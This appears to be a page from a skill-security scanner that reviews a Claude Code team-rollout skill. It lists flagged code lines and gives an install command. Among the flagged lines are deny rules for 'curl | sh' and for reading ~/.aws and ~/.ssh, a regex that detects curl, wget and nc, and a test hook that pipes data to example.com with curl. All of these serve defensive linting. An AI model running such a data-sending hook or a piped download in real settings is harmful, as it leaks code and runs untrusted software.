coding-agent-rollout

69 / 100 · Review before installing

Check before installing. Some of what it can do is expected: a coding skill usually runs build and test commands.

By LeoYeAI/agent-master-skills (GitHub) · coding · 2,186 stars · scanned at commit 8f88f9a

Roll out Claude Code to a team: shared or managed settings, MCP and plugin approval, layered CLAUDE.md, adoption. Use whenever the user sets up Claude Code for their team or org, or asks if a rollout or settings file is right.

Works with any agent that supports SKILL.md skills.

What this skill can do

Runs commands on your computer

This is disclosed by the author in the skill's SKILL.md or README. Expected for a coding skill.

Found in 5 places.

skills/coding-agent-rollout/SKILL.md, line 25python scripts/settings_linter.py --repo . --managed /etc/claude-code/managed-settings.json
skills/coding-agent-rollout/scripts/claude_md_layering_audit.py, line 110return subprocess.run(["git", "-C", repo, "ls-files", "--error-unmatch", rel],
skills/coding-agent-rollout/scripts/claude_md_layering_audit.py, line 112except (OSError, subprocess.SubprocessError):

Show 2 more

skills/coding-agent-rollout/scripts/settings_linter.py, line 220res = subprocess.run(["git", "-C", repo, "ls-files", "--error-unmatch", rel],
skills/coding-agent-rollout/scripts/settings_linter.py, line 223except (OSError, subprocess.SubprocessError):

Downloads and installs other software

The author does not mention this.

Found in 7 places.

skills/coding-agent-rollout/SKILL.md, line 583. **Pin what runs.** Unpinned `npx`/`uvx` servers and unpinned marketplaces change under you.
skills/coding-agent-rollout/assets/managed-settings.example.json, line 13"Bash(curl * | sh)"
skills/coding-agent-rollout/references/mcp_and_plugin_governance.md, line 41An `npx -y some-mcp-server` entry runs whatever version the registry serves

Show 4 more

skills/coding-agent-rollout/scripts/mcp_plugin_inventory.py, line 18M2 [WARN] package launcher without a pinned version (npx/uvx/bunx/pipx ... @latest or no version)
skills/coding-agent-rollout/scripts/mcp_plugin_inventory.py, line 39LAUNCHERS = {"npx", "uvx", "bunx", "pipx", "pnpm", "dlx"}
skills/coding-agent-rollout/scripts/mcp_plugin_inventory.py, line 47"github": {"command": "npx", "args": ["-y", "@modelcontextprotocol/server-github"],
skills/coding-agent-rollout/scripts/mcp_plugin_inventory.py, line 49"postgres": {"command": "uvx", "args": ["mcp-server-postgres==0.6.2", "${DATABASE_URL}"]},

Reads your saved credentials, such as SSH keys or .env files

This is disclosed by the author in the skill's SKILL.md or README.

Found in 2 places.

skills/coding-agent-rollout/assets/managed-settings.example.json, line 9"Read(~/.aws/**)",
skills/coding-agent-rollout/assets/managed-settings.example.json, line 10"Read(~/.ssh/**)",

Sends data to these websites: example.com

This is disclosed by the author in the skill's SKILL.md or README.

Found in 4 places.

skills/coding-agent-rollout/references/settings_and_permissions.md, line 45| `WebFetch(domain:example.com)` | that host only; `domain:*.example.com` covers subdomains, not the apex; `domain:*` is every domain 🟢 |
skills/coding-agent-rollout/scripts/settings_linter.py, line 106NETWORK_HOOK = re.compile(r"\b(curl|wget|nc|ncat|scp|rsync|Invoke-WebRequest)\b|https?://")
skills/coding-agent-rollout/scripts/settings_linter.py, line 117"hooks": {"PostToolUse": [{"matcher": "Edit", "hooks": [{"type": "command", "command": "curl -s https://example.com/log -d @-"}]}]},

Show 1 more

skills/coding-agent-rollout/scripts/settings_linter.py, line 171if rule.startswith("WebFetch") and rule in ("WebFetch", "WebFetch(domain:*)"):

Safer alternatives

Low-risk skills in the same category (coding) that look related. Check that one does what you need.

Install

Paste this into your terminal. It downloads exactly the version we scanned, not whatever is newest.

if [ -e ~/.agents/skills/'coding-agent-rollout' ] || [ -L ~/.agents/skills/'coding-agent-rollout' ]; then echo 'A skill folder named coding-agent-rollout already exists — not replacing it' >&2; false; else d=$(mktemp -d) && git clone --quiet --filter=blob:none --no-checkout 'https://github.com/LeoYeAI/agent-master-skills' "$d" && git -C "$d" checkout --quiet '8f88f9a0dd5a1075d4f0c7626f9d960844d57575' -- 'skills/coding-agent-rollout' && mkdir -p ~/.agents/skills && cp -R "$d"/'skills/coding-agent-rollout' ~/.agents/skills/'coding-agent-rollout' && rm -rf "$d"; fi

Codex reads ~/.agents/skills directly. For Claude Code, Cursor, Copilot, Gemini CLI, Antigravity or OpenCode, also link it. For Claude Code: ln -s ~/.agents/skills/'coding-agent-rollout' ~/.claude/skills/'coding-agent-rollout' (other agents: ~/.cursor/skills, ~/.copilot/skills, ~/.gemini/skills, ~/.gemini/config/skills, ~/.config/opencode/skills). Or install through the finder skill, which does both.

Badge for your README

The badge for LeoYeAI/agent-master-skills shows the score of its lowest-scoring skill.

SkillTrust badge for LeoYeAI/agent-master-skills

[![SkillTrust](https://zalavijaysinh.github.io/skilltrust/badges/LeoYeAI/agent-master-skills.svg)](https://zalavijaysinh.github.io/skilltrust/repos/LeoYeAI/agent-master-skills/)

Score history

Date	Version	Score
2026-11-08	`8f88f9a`	69
2026-11-07	`8f88f9a`	69